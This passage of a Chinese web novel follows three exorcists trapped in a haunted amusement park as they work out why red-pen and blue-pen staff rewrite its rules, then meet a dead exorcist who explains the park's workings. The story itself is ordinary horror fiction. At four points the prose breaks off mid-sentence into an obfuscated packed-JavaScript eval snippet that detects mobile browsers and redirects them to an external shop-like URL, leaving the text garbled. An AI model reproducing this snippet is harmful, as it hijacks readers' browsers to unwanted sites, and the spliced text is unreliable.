这一瞬间,我几乎以为混沌再次出现,下意识地一惊,循着衣架的目光看去,却什么也没看见。 衣架干枯的嘴巴,渐渐张开。大概因为声带也已经干枯,他努力发出的声音与气音没有任何区别。 “哈” 我几乎以为是自己听错了,紧紧盯着这人的脸,那张干枯到沟壑恒生的脸上,扭动出一个巨大的弧形,随着口中的气音而不断颤抖。 “哈哈,哈哈哈。” 他在笑。 他在笑什么? 他似乎是真的感到快乐。可此情此景下,这样一个笑,只会让人毛骨悚然。 我们三人默默无声,看到这人剧烈地大笑,用残破身体制造出他所能表达的最大快乐——而这干枯的脖颈又实在无法承担这样剧烈的愉悦,笑声持续十数秒后,他突然咳嗽起来。 咳嗽持续了几声,身躯再度恢复平静,他再度直挺挺歪进长椅上。 我伸手去探他的鼻息。 “他好像是,死了。” 32. 风铃游乐园游客守则11 他的确是死了。 不知是过于快乐而死亡,还是因为即将死亡而如此快乐。 鉴于人道主义,由于这人看上去应该是男性,是由姚千和乐语检查了他的身体,顺便仔细确认他的确是死了。 “身上没有黑色印迹。”姚千说。 “果然如此。” 最后一块拼图终于合上,我深吸一口气,心头逐渐清晰的答案并没有让人产生一丝该有的愉快,反而令人愈发感到眼前游乐园的面目模糊而阴沉。 “如果我没猜错的话……”我酝酿着开口,“我们在电影院见到的那个工作人员,那些满口‘为你们好’的话,其实是心虚的表现。” “正如幸存者所说,持有红色笔的工作人员是可以相信的——红色笔的工作人员究竟多可信这一点尚且不论,但蓝色笔的工作人员,的确并不可信。” 乐语颔首,露出略显意外的表情:“你是这样认为的?” 说话间,我们再次来到了过山车所张贴的规则附近,昨天所看过的规则仍然张贴在那里,与前一日相比并没有变化。 “为什么?” 乐语似乎是在猜测着我的思路,指了指规则,总结道:“从进入乐园到现在为止,连同大门口的总守则之外,我们见过的守则已经有四张了。关于红色和蓝色笔对规则进行的修改,其实并不难辨别。” “蓝色笔迹的修改一直在将规则进行扩张,比如限制游客坐过山车的次数,限制游客触碰虫子的行为,限制游客进入电影院。” 他列举道,“经过试探,确实可以看出,这些被修改的规则都是错误的,而其中修改的目的,也很好理解。” “乘坐过山车有触碰到混沌的危险,就修改规则减少游客乘坐过山车的次数;游客可能在慌乱下在电影院点开照明设备,就干脆限制禁止游客将照明设备带入电影院中。” 乐语的语气加重了些,“很显然,按照蓝色笔迹所修改的笔迹行事,会更加不容易触犯规则。” “蓝色笔迹的意图,是想在规则之下保护游客。” “确实。”我点头肯定道,“这一点,也和蓝色笔迹人员自身的情况一致。” 我举起手背,另一只手点了点混沌留下的黑色痕迹,“在违反规则后,作为惩戒,混沌会留下黑色的痕迹。但看样子,蓝色笔迹的工作人员身上并没有这种东西。他们不但会想办法让游客不容易触犯规则,他们自己也不会去触犯其他规则。” 姚千接下我的话:“正如超市里蓝色阵营人员留下的纸条上写着,保持干净,遵守规则。不触犯规则,不留下黑色印迹,对于蓝色阵营人员而言,是重要的条件。” 我伸出一根手指竖在当中,转而道,“而相对而言,那天我在超市仓库里见到的工作人员,黑色痕迹已经通过领口蔓延到了脖颈附近,说明身上的黑色痕迹已经十分严重……” “而根据规则所说,保持干净,既然是保持,”姚千道,“也就是说,蓝色阵营人员身上应该都是干净的,至少在绝大程度上是干净的。你所见到仓库里的那个人,是红色阵营的人员。” “没错。” “从红色阵营人员修改的规则上,也可见一二。”我的目光又瞥向身旁的过山车规则,“大部分情况下,红色规则都会将规则修改得更加宽松,甚至直接将规则改为错误。昨天在过山车上,我根据红色规则所做出的行动,就直接导致了混沌的出现,使得我身上沾染了混沌的印记。” 乐语道:“红色笔迹的修改,是在诱导游客触犯规则。也是因此,他们的身体上也会印上混沌的印记。” “总结一下。”我道,“阻止游客违反规则,对于工作人员而言,也是一条重要的规则。蓝色阵营的人员遵守这条规则,身体就是干净、没有混沌印迹的。而红色阵营人员修改规则引诱游客违反规则,所以身体会和违反规则的游客一样,染上黑色印迹。” “所以,他们各自的目的又是什么?” 我一顿,“其实,这个目的也并不难猜。至今为止,我们已经见到了两种工作人员的末路,一种是属于蓝色阵营工作人员的,一种是属于红色阵营工作人员的。” “红色阵营的工作人员在与混沌进行激烈的战斗后,最终被混沌所吞噬。根据那人所留下的痕迹来看,整个过程应当相当残酷,且痛苦。” “而相对来看,蓝色阵营的工作人员,虽然身体产生了大量的异变,但其意识似乎并不排斥于接受这种变化,甚至在刚刚那个人最终死去时,他笑了。” “变异并死去,还是被痛苦地被混沌所侵占,尽管都是一死,”乐语似乎想起什么,笑了一声,“但仅仅是在全息影院见到混沌,就足够我留下相当糟糕的回忆。真正被混沌所吞噬,必然更加痛苦,也不怪乎蓝色人员临死前发出笑声了。” “由此可见,红色阵营的人员由于违反规则,必须面临着被混沌吞噬、更加残酷的结局。” “所以,蓝色阵营是为了自己能够遵守为工作人员设定的规则,才会帮助游客遵守规则,从而使得自己能够轻松地死去。” 我道,“而相对而言,从另外两点上看,红色阵营虽然引诱游客违反规则,却并非要致游客于死地。” 姚千语气平淡地接下话:“最初在大门规则上所说的‘三天’。还有……超市的规则。” 我笑了笑:“没错。在大门的规则下,红色笔迹明确写下了提醒游客的话:安全时间只有三天。” “而在超市的规则中,红色字迹也没有做出使得游客更加陷入危险境地的改动,反而进一步提醒游客,不要尝试与混沌对视。” “之所以超市会有这种特殊待遇,应该是因为在超市中,我们遇到的是黑夜里的混沌。”乐语道,“你说过,在黑夜中见到的混沌,危险性高出在白天里见到的混沌数倍。” “在超市里混沌更加危险的情况下,红色字迹反而开始提醒游客遵守规则,说明他们是在把握分寸……” 乐语手背搭在鼻尖,陷入思考。 姚千沉着眼睫,不紧不慢地接上了他的话:“说明,红色阵营希望游客既违反规则,又不至于完全被混沌吞食。” “这仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336008|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是一种条件。” “很简单,就是违反规则的条件。”我道,“正如我们刚才的推论,是否违反规则,会使工作人员走向完全不同的结果。” “类比之下,是否遵守规则,恐怕不仅是对工作人员,对于游客来说,也是一个重要条件。” “结合红色字迹留下的那句话,我们只有三天时间。” 我伸出两根手指比划道:“这句话可以有两种理解,第一是三天内如果我们没有离开游乐园,就会变成工作人员。第二就是,如果我们连续三天满足了一种条件,就会……变成工作人员。” “根据我上面所说的那一大段,显然,第二种可能性要更大一些。” 乐语已经完全明白了,他皱起眉,仿佛为这个答案而感到些许诧异。 而姚千则仍然是没什么表情的样子,或许是已经明白了,但又让人看不出他到底是在哪个环节领会到的。 我说出心中的答案:“遵守规则达到三天,游客就会成为工作人员,这就是红色阵营一直试图修改规则的原因。” “同样,也是蓝色阵营避免我们违反规则的原因。” “为了使他们能够以轻松的方式死去——他们遵守游乐园的规则,不断将游客变成新的工作人员。” 乐语看我一眼:“但是站在他们的角度,既然已经被游乐园杀死,变成了这种连生死都无法掌控的状态,遵从游乐园的差遣,也不能算太过分。” 我慢悠悠回道:“如果这个游乐园里不存在红色阵营的工作人员,我可能还会觉得你说得有道理。” 乐语摇头:“也不能用高标准去要求每一个人。” “我没有指责他们。”我眨眨眼,耸肩,“只是说事实。” 乐语看向姚千,可能是想得到第三人的支持,但刚想了一秒,就仿佛是已经猜到结果一样的放弃了。我不明所以地看了姚千一眼,但也没有就这个缺少意义的问题继续讨论。眼下关于游乐园最为初步的谜题已经解开,我将背包中的平板取出,上面还存储着之前在游乐园门口拍摄的平面地图。 大门位于整个游乐园的南部正中位置,从大门进入后,分岔成向左向右两条道路,分别通往过山车和动物园。 而我们之前走过的,显然是向左前往过山车的道路。随后一直向东前进,又分别经过了超市和影院,其中也路过了海盗船。由于海盗船和过山车一样,从外面基本能一眼看清绝大部分构造,我们便暂时没有进入其中。 到目前为止,我们尚未进入的部分,除了游乐园中大量存在的森林外,还剩下摩天轮、海盗船、动物园、马戏团,以及地图上被大量涂黑的地带。 “不难推断,这块被涂黑的位置,和规则中一直被涂黑的名称——混沌,应该有着密切的关联。”我自言自语道,“目前来看还是太过危险,先绕开为妙。” 我一边看着,朝姚千和乐语问道:“话说,你们还记得我们进入游乐园时,为什么选择了向左进入游乐园的这条路吗?” 乐语一愣,下意识道:“我们做过这样的选择吗?” 33. 风铃游乐园游客守则12 姚千默了默,回忆道:“没有。虽然地图上画出了这样的岔道,但我们进入大门后,并没有看到明显的分岔道。” “可能是公园的道路被后期修改过。” 沿着来时的道路,我们离开过山车,重又向大门走去。走到一半,大约到地图显示具有分岔路口的位置,我们果然在路边看到了道路被修改过的痕迹。 由于风铃游乐园整体装修风格偏向自然,入口处这段道路也类似于公园的羊肠小道,蜿蜒曲折,地砖铺设相对简单,因而道路被修改的痕迹如果不是仔细观察,确实不易被发现。 说是道路被修改,倒更不如说是向右通向动物园和马戏团的道路被人为截断了。从分岔口十多米的位置都被后期拆除,只留下与周围栽种树木相同的松软土地。直到从岔路口看不到的十多米位置,道路才恢复正常。 好像是为了让游客不进入动物园和马戏团,而故意拆除的。 但这样的理由也实在矛盾。毕竟只要多看几眼地图,游客早晚会发现这段岔路,况且从影院或摩天轮所在的公园北部,也同样有能够前往这片区域的道路。既然如此,拆除这段道路又能起到什么作用? 我心中思忖着,眼前马戏团风格浓烈的巨大帐篷造型的建筑已然越来越近,这时,一个人影从门间出现,一个穿着工作制服的中年男人从中走了出来。 这人大约三十岁年纪,满脸蓄着络腮胡须,除此之外一切正常,既没有多余肢体,也无诡异姿势,这幅样子在外面的人类社会或许算得上造型前卫,而在这个游乐园中则正常得略显保守了。 这人明显是朝着我们来的。 说起来真是令人感动,从进入到游乐园以来,这居然是第一个在神志清醒的状态下故意接近我们的工作人员。 是敌是友,都值得多聊几句。 “你们好。” 走到近前,他挥挥手,工作制服前胸口袋上卡着的红色圆珠笔随着他的动作小幅动了一下。 直到这个距离,我才注意到,他脸上络腮胡覆盖的位置,连同高领衣物之上的部分,全部覆盖着稠密的黑色痕迹,看不到多少肤色。露出来的半张脸有些眼熟,多半是在乐园遇难者照片中仔细看过,却一时想不起是谁。 “你好。”我走在最前面,也就自然地搭上了他的话。 这人的眼神掠过我们,没等我们自我介绍,他便道,“季小姐,乐先生,还有姚先生。” 我愣了愣,笑了一下:“在监视我们?” 他以为我姓季,显然是听到了乐园中我被喊作“吉光”的对话。 一路走来,我们观察游乐园室内的环境时,倒也看到过一些监控探头,但都当这是游乐园的正常设施,却没有想到这些监控仍然在正常运作,还收录进了我们的一举一动。 “抱歉,监控整个乐园,也是我们的日常工作之一。”他朝我们颔首致歉,虽然语气里也挺理直气壮,“请放心,超市二楼等涉及隐私的地方,都没有设置监控探头。” 乐语眯起眼似乎想到什么,笑眯眯追问道:“所以不久前我们在过山车附近的对话,你们也能听到?” “监控收音不算太好,但也听到了一部分。”男人道,“这也是我现在在这里的原因之一。” 他神色严肃了些:“向各位介绍一下自己。我姓陈,叫陈自同,是游乐园内第一个使用红色圆珠笔的工作人员。” 我想起了这个名字。 陈自同,第一个死在风铃游乐园中的驱灵师,也是风铃游乐园危险性被调整为A级的重要原因之一。最初在姚千家,杨先生曾经说过,这是一位经验非常丰富的驱灵师——然而进入灵域后没过几天,游乐园外围就发现了他的遗体。 显然这也不能怪罪于陈自同作为驱灵师的专业水平,毕竟按照驱灵师的经验,遵守规则应当是生存在灵域中的常识——然而就是这种常识,将陈自同迅速带入了死亡的深渊。 或许就是因此,他才开始使用红色圆珠笔,帮助进入游乐园的其他游客。 思及此,我不由得对眼前之人产生了一丝敬佩。他多半也明白自己当下的处境,作为仅仅只能生活在灵域中、类似于残灵的存在,陈自同早已失去了回归正常社会作为人类的可能性,和我们在桃源乡村落遇到的、仍然是人类的任谊有着本质的不同。 这样一个沦落到连死都不如的人,仍然在和这个灵域进行着对抗。 跟着陈自同走进蓝红相间的马戏团的大厅中,这里同样是空荡荡一片,只有干净的地面昭示出经常有工作人员活动的痕迹。 “这里的演出每天下午的2点开始,你们感兴趣的话可以看看,只要遵守规则,危险性和你们最初坐过的过山车没什么区别。” 他走在前边,顺口向我们解释。 “和游客交流超出界限的问题也是违反规则的。所以,每次有游客进入,我们只会派出一个代表与游客交谈。” 马戏团大厅是由观赏区和表演区组成的,原本应该是用于演出的舞台上此刻也一派干净,外围盘踞有几张可供休息的座椅,他率先坐了过去,挥手示意我们也坐下,“这边的马戏团和动物园,其实是我们工作人员最常活动的地方。只不过知道你们要来,大厅就先空出来了。” “原来如此,”我跟着坐下,“这也是为什么你们要把和大门之间的道路截断的原因吧?” 我自顾自继续道,“截断道路,使游客最初进来时,只会沿着从过山车到超市的道路前进。一方面保证了游客一定能在6点前到达超市,更重要的是需要游客自行阅读并遵守过被修改过的规则,对这个游乐园的现状做出他们自己的了解和判断。” “这样,一方面可以减少你们的交流和随之而来的风险,另一方面也可以通过查看监控,使得你们对游客的情况有最基本的了解——多半还会针对不同的游客,做出不同的反应。” 陈自同盯着我,看上去是在认真倾听,听毕,轻轻笑了一下,半张脸的黑色印迹随着他的表情而动着,在如此近的距离下,不得不说仍是有些骇人。 但于此相对的,这人的语气一直稳定而平和,又仿佛有着能让人忽略那张骇人面目的气度。 “你说的没错,虽然我们的初衷是为了拯救游客,但在这个游乐园中,人是没有办法随心所愿的。经过不断调整,我们选择了最为平衡的方法。” “之所以今天是由我来见你们,也是因为你们方才在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346966|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过山车旁所说的话——这么久以来,你们是唯一一组仅靠自己,便将情况推测得如此清楚的驱灵师。” “我的情况,我自己也清楚。”他看一眼自己戴着手套的手,声音低沉了些,“我希望在自己彻底被混沌吞噬之前,遇到能够解决这个灵域的驱灵师,让我能够见到这个灵域的消失,也……” 这个见面以来一直看上去颇为稳重的驱灵师,此刻不觉沉重地吸了一口气,显露出恐惧之意,顿了顿才继续道:“也免于被混沌所吞噬。” 显然对于混沌的恐惧,同样也烙刻在他的心头。 “既然说到其他人,陈先生,我有一个问题。”乐语道。 “那其他驱灵师,或者说误入到这里的游客,既然有你们的帮助,为什么大多数还是没有能够活着出来?” 单听上去,这仿佛是个有点冒犯的问题,带着点质问的潜台词。然而乐语此人天然带着真诚友好的氛围,这样也只能听出单纯的疑惑。 如果是姚千来问,气氛多半会惨不忍睹。 “想活着离开这里,即便有我们的帮助,也并不是一件容易的事情。”陈自同悠悠道,“这本质也只是被我们偶然发现的小概率事件。” “况且,只有主动选择离开的人,我们才会尝试送他出去。”他意味深长地看着我们,“你们想做出这种选择吗?” “当然不会。”乐语即刻道。 这句话出口,我们三人均露出恍然之色,姚千缓缓道,“所以,越是人数多、经验丰富的驱灵师团队,越是不会离开这个灵域,是因为他们根本不会考虑逃离这里。一旦没有破解灵域,就只能永远留在这里。” 陈自同反应了一下,才道:“原来你们在外面还做出了这种总结。” “毕竟即便离开灵域,幸存者也已经忘记了这个灵域中的大部分情况。”乐语苦笑道,“通过零碎的线索进行推论,现在看来是完全走错方向了啊。” “这也没有办法。”陈自同点头道,“这么多次进入的驱灵师,进来时都没有掌握多少有用的情报,离开的人缺少记忆这件事情我们也已经猜到了。” “确实,正如你们所说的,越是有经验、人数众多的团队,越是会拒绝我们帮助他们逃离的提议,他们往往会选择持续不断地违反规则、挑衅混沌,一边免于成为工作人员,一边通过和混沌的接触寻找更多秘密。” “但作为游客,被混沌所污染的扩散程度是比我们工作人员更加不稳定的。”陈自同看一眼我手臂上的黑色印迹,“你们的黑色印迹扩散得很快,同时也会比我们更快地消散。但越是与混沌接触,这种印迹的扩散波动最后往往会突破预期,最终变得不可收拾。” “那些人,大多都是被混沌所吞噬的。” “而团队中尚且幸存的人,则往往已经无法使用那个方法离开灵域——最后要么孤注一掷,被混沌侵占,要么变成工作人员,加入我们。” “那个方法?”我好奇道,“具体是什么?” “我们是不会告诉使用者这个方法的,因为一旦知道具体的操作,方法就对这个人失效了。” 陈自同看着我们,“你们确认要听吗?一旦听过之后,就没有退路了。” 34. 风铃游乐园游客守则13 “听听看吧?”说着,我看看姚千和乐语。 姚千看也没看我道:“你决定就可以。” 乐语则犹豫了两秒,随后笑笑:“既然吉光在这里,那出去还是蛮有把握的,就听听吧。” 我对他的话不置可否:“你清醒一点,我只是一个失忆的残灵。” “失忆是不会影响实力的。”乐语眨眨眼,“你有没有看过那种侦探虽然失忆,但脑子还是很好使,最终大破奇案的电视剧?” “……没看过。” 我摇头,感觉乐语已经没救了,看向陈自同,“你看,我们决定好了。” 陈自同颔首,略带感慨道,“不少人当初也是做出了同样的选择,但最后……” 他一顿,“希望你们是能够破除这个灵域的人。” 他转换语气,正色道,“其实说起来很简单,最初只是我们发现,有一个在混沌惊吓后精神失常的游客选择了自杀,他使用的方式是从摩天轮最高处跳下去。” “但身体却在半空中消失了。” 我脑中浮现出游乐园的平面地图,摩天轮正在地图的东北角:“难道是由于这个游乐园空中并没有封锁屏障,这人是从半空中离开了这里?” “不是。”陈自同否定了,“虽然成为工作人员后,作为残灵的我失去了灵能力,但我们中也有人作为残灵也觉醒了灵能力,从而能够在空中滞留。” “她认真检查过那人消失的位置,一来从垂直角度看,那里并不算是游乐园的外界。其次,那片区域附近的灵域屏障也并不存在任何的破损。” “在此之后,我们也有工作人员,或者认为存活无望的游客轮番重试了这种情况。基本总结出了一条规律。” “对此并不知情的游客,被突然地推下去——这是最容易成功的情况。根据后续进入的驱灵师所带来的消息,我们也可以了解到,这些人确实成功离开了灵域。” 所谓能够脱离灵域的方法,本质上也只是误打误撞。 但即便只是误打误撞,其中也一定潜藏着某种意义。 我正低头思索,便听姚千问道:“所以,有什么样的人不容易成功?” “比较明显的一种,就是灵能力趋于强大的。”陈自同道,“尤其是即便被推下去,也能自行在半空中停滞的人。” 好消息,我乐观地心想,在做的三个都属于这种人,这个情报听得真是半点损失也没没有,正想着,便听到乐语分析道:“既然如此也就是说,被推下去而感到恐惧的人,才可能从游乐园离开。” “不,既然如此,那么第一个故意从摩天轮上跳下的人,就不会满足这个条件。”姚千道。 陈自同同样摇摇头:“也有已经因为绝望而麻木,不再恐惧的人,被推下去后也在半空中消失了。” “既然不是恐惧,那或许是认为自己即将死亡的绝望?”我继续推测,“或许这种情绪,就是打开这个游乐园的钥匙。” “或许吧。”陈自同道,“我们也做出过类似的猜测,但这些到最后,都无法产生一个具体可证的答案。” 既然暂时找不到正确答案,对这一话题的讨论暂告一段落。接下来陈自同向我们讲述了他所知道的,这个游乐园正在发生的现状。 与我之前的推论基本一致,只是陈自同的叙述,要更加准确,细节丰富。 首先,游客变成工作人员的前置条件确实是遵守规则。完全遵守规则超过三天,兼之身体没有任何黑色痕迹,便会在游乐园主人的宣告下,失去生命,尸体被送出灵域,留下的残灵成为被新规则所束缚的工作人员。 这就是陈自同来到游乐园后,所经历的情况。 成为工作人员后,陈自同开始拥有更多视角和时间去观察属于这个游乐园的情况。在他刚进去游乐园时,游乐园中并不存在修改规则的情况,所有工作人员都和现在的蓝色阵营工作人员一样,遵守规则,走向被游乐园设定的末路。 即便这条末路,本身也令人感到毛骨悚然。 “我想你们也已经发现了。”陈自同抓了抓自己的胡子,语气平静,“每一个遵守规则的工作人员,随着遵守规则的时间增加,身体都会产生恐怖的变化,他们有的人会长出多余的肢体,或者是并不属于人类的器官,好一点的是长出鱼鳃、尾巴,坏一点的可能会全身覆盖鳞片、四肢变成动物形状、只能四肢站立。” 如此惊悚的描述经由如此淡然的语气说出来,实在是令谈话氛围进一步变糟了。 “而大多数工作人员也发现,只要不遵守属于游乐园的规则,染上黑色痕迹,就会大大延缓甚至使得变异肢体恢复正常。但即便如此,也没有人真的去这样做。” “毕竟对混沌的恐惧,是烙刻在工作人员心中的。” “如果说要做出选择,哪怕是变成怪物,也比被混沌所吞噬要强得太多了。”陈自同看着我们,“既然你们在电影院看过那个电影,应该也对混沌有了一定的了解。但真正的混沌所具备的那种邪恶和恐怖,对人造成的精神影响,仍然不单单是电影所能展现出来的。” “我确实见过混沌了。”我举手,“就昨晚在超市二楼的房间里。” 看来他说的房间里没装监控,确实是真的,我一边在心中念道。 陈自同显然愣了一下,看着我道,“那你是怎么逃脱的?” “……不是有规则说明过吗?只要睡着,就是安全的。”我道,“我强迫自己睡着了。” “你的灵能力?”陈自同略微皱眉,摇了摇头,想说什么又说不出来似的,片刻才回到自己的讲述之中。 “当初的我,也是偶然才发现,原来游乐园的规则是可以被笔迹修改的。” “那段时间,我确实是在不断试探着违反规则。虽然对混沌抱有恐惧,但我也逐渐发现,只有维持着带有黑色痕迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369814|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的状态,我作为工作人员才能在这里活得更长久。毕竟,如果完全遵守规则,大概只要两年甚至一年多,人就会完全脱离作为人的形状,在没有混沌纠缠的状态下安静地死去。” “但和作为游客类似,只要偶尔违反规则,就可以存活更长时间……我不甘心就这么在游乐园中死去,所以试探着违反各种规则,来保持我身体上黑色痕迹的平衡。” “但这种平衡虽然前几年还算稳定,但和作为游客类似,这样的试探增加后,现在我身体上的黑色痕迹已经越来越难控制了,很多黑色痕迹一旦染上,自此便无法消除。” 陈自同暂停几秒,很快将话题拉回正轨:“总之,最初我是以违反规则的心态涂改了游乐设施旁的规则。但出乎我意料的是,涂抹规则并没有违反规则。” “作为工作人员,我们所受到的约束名目众多,比游客规则还要庞杂繁复,所以那时的我也并没有记下所有规则,而是下意识将涂抹规则也当成了违反规则的一种。” “直到我发现自己没有受到惩罚后,我才终于意识到。”他抬眼看向我们,“无论是作为工作人员还是游客,涂改规则,都是不违反规则的。” 这句话出口,在场之人陷入短暂的沉默。 在陈自同说出这句话之前,我确实没有认真思考过这个问题。 “正常来说,虽然大多数规则并不会专门做出这种规定。但对于规则本身而言,禁止对规则文本随意涂改,本就是应有之义。”姚千缓缓开口,分析道。 “这或许说明,游乐园主人是个极其注重规则的人,一旦规则做出,即便存在疏漏,也不会通过修改规则的方法进行修补。” “不是这样的,属于这里的规则并非一成不变。” 陈自同即刻道,“你们应该也能发现,书写着黑体规则的纸张并不陈旧,这些纸张会由管理员定期更换。几乎每次更换,规则都会产生些许变化,此时属于这个乐园的规则,和我刚刚来到这里时,已经变化了十成有九了。” 我低着头,思索着他们所说的话,听到这句,抬头看向陈自同,突然觉得他的脸仿佛哪里变得有些陌生,这想法从脑中一闪而过,我问:“管理员,我们之前也从蓝色圆珠笔的工作人员听到过这个名称,那是什么人?” “一个被黑影缠绕的,虽然有些像混沌,但不完全是混沌的神秘……人。”陈自同轻轻呵了一声,“或许也不能完全说她是一个人。” “总之,她似乎是非常早来到这个游乐园的工作人员,不知遭遇了什么,成为了这个乐园的管理员,负责更换属于游客和我们工作人员的规则——我们也不清楚,这些规则到底是出自她之手,还是说规则是由灵域主人所制定,由她所传达。” 乐语的眸子闪了闪:“这么奇怪的存在,你们就没怀疑过这人就是灵域主人?” “当然怀疑过。”陈自同淡淡道,“我们还杀死过它。” 35. 风铃游乐园游客守则14 “但是很遗憾,即便使用灵能力将这个存在完全消灭,经过几天,她还是会以原本的样貌继续出现——” 陈自同双手略抬,朝我们比划道,“你们并没有见过她,她的存在并不像工作人员一样,在这里有着近乎实际存在的躯体——她本身的存在就是由一团类似混沌,但不具有恐怖性质的黑影所组成的。一方面很难杀死,另一方面,即便杀死,也会复活。” “数次,我们已经确认她的气息完全消散,即便如此,只要在白天,她就会被这个灵域重新组合起来。” 陈自同顿了顿,“她不是人,她就像是这个乐园中存在的……一种现象。” 这个描述实在是很难不令人好奇,我紧接着问道:“那有什么方法能够找到她吗?我想见见。” 陈自同答得很快:“可以,而且非常简单。首先,它只会在白天活动,除此之外它的出现没有任何限制。” 他指向离我们不远处,马戏团门口的规则,“只要现在将这张规则撕毁,管理员就会主动出现,制作并且补充上新的规则。你们所见到的规则上的黑色字迹,全部是她所写的。这个乐园中,使用蓝色或红色的圆珠笔只是工作人员内部的区分,但黑色圆珠笔,是只属于管理员,或者说属于这个乐园意志的。” 他这番话实在是令我蠢蠢欲动,现在就想撕一张试试看。然而“乐园意志”四字出口,我却突地愣了愣,有什么想法倏然地闪过脑海。 “这个乐园是拥有意志的?”我低声重复一句。 “只是一个比喻。”陈自同奇怪地看向我,补充道,“其实乐园的意志,也就是这个游乐园主人的意志。” “又或者……我进来这里之前,也对这个游乐园进行过背景的调查,据说是一个叫做夏依然的女人导致了这个灵域的产生。”陈自同摇摇头,“我在这里并没有见过叫做这个名字的人,或许正是她躲在一切的背后,用她的意志操纵着这个游乐园。” “那她在想什么?” 我冷不丁地提问道。 “什么?”乐语不解,“你想到了什么?” “我是说,”顺着思路,我解释道,“我突然想到,这个游乐园本质上,是由同一个人,也就是乐园主人的情绪所组建而成的。就像是我曾经经历过的灵域,规则中潜藏着灵域主人死前最深的执念,那么这个充满了规则、如此复杂的灵域,灵域的主人又在想些什么?” “夏依然的执念,也是与规则相关的。”姚千接上我的话,“这个灵域对待规则的态度,既是她的情绪和执念。” 我嗯了一声,语速飞快地继续,“从规则角度而言,这个灵域其实是非常矛盾的。一方面,灵域主人似乎非常重视规则,这个灵域中处处充满了规则,一旦违反规则,无论游客还是工作人员,都会受到混沌的惩罚。” “而另一方面,规则在灵域主人心中,似乎又并不完全拥有至高无上的地位。” “一来,无论是谁,在这个游乐园中,都可以随意涂改规则而不受到惩罚。就连最为看重规则、使用蓝色圆珠笔的工作人员,也会选择为了和红色圆珠笔修改的规则对抗,而去进一步地涂改规则。而规则即使经过长时间的修改,也从不阻止人们做出这样的行为。” “二来,长时间遵守规则的后果是什么?游客会死亡,变成以残灵状态生活下去的工作人员。而工作人员长久地遵守规则,也会慢慢变异,失去作为人类的样貌,在混沌的威胁下,以极为恐怖的样貌存活下去,最终彻底死亡。” “无论怎么看,这都不算是好事情。” 沉浸在自己的思路里,我一时间忘记周遭情况,只顾着继续说下去。 “这看上去是十分矛盾的,但让我们从头梳理,其实可以换一个角度来看——混沌,这个惩罚违反规则的诡异存在,在游乐园主人的视角里,到底算是什么?” “如果只是为了逼迫其他人遵守规则的工具人,为什么我们每个人在混沌身上,都能看到如此剧烈的情绪?” “每一个见过混沌的人,应该都能感觉到。它的存在本身,就是恶意和恐怖的结合,即便只是它制作出来的影像,也强烈到足以彻底淹没人的情绪。甚至对于工作人员而言,即便将自己变成完全脱离人形的怪物,也不愿被混沌所侵占,这就是绝对恐惧对人造成的影响。” “既然灵能力本身是源自于情绪,灵域作为死前强烈执念的化身其实也与之相似——那么具有如此强烈情绪的混沌出现在灵域中,或许正说明着一个事实。” “混沌并不是受到灵域主人的操纵。” “混沌本身,正是灵域主人本人恐惧的象征——她心中怀有强烈的、对于违反规则的恐惧。” 一边说着,邓科长提供资料中对夏依然的评价浮现在我的脑海,“夏依然是一个非常准时守规的人,或许这一行为,并不是因为她内心对规则有一以贯之的信任,而是因为她对违反规则深深的恐惧。” “就是这种恐惧形成了灵域中现今的混沌,或许连她本身也无法控制灵域中的这一力量。” “那你认为,她对规则的态度是否定的?” 陈自同的声音响起,语气有些怪异,然而我低着头认真思索,并没有看向他。 “不……也并不是一味的否定。将如此多的规则纳入灵域,说明规则仍然是她执念中的一部分,只不过这种执念并不是对遵守规则的苛求,而是……” 诡异的气息从我极近的方向腾然而起,猛然打断我的思路。 我转身望向陈自同的方向,却发现不知何时,他脸上的黑色竟然已经从络腮胡须处蔓延开来,此时已经漫上眼睛,连眼球里也钻进丝丝缕缕的黑色丝线,团聚起来,近乎要埋没他的眼睛。 我心中大骇,下意识站起了身。姚千和乐语显然也早已发现了这一异常,大概是因为不想打扰我的思考,所以同样没有出声。 陈自同仍然端正地坐在椅子上,保持着刚见面时泰然稳重的神色,已经彻底被黑色覆盖的脸上皮肤耸动,能令人大致辨认出他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 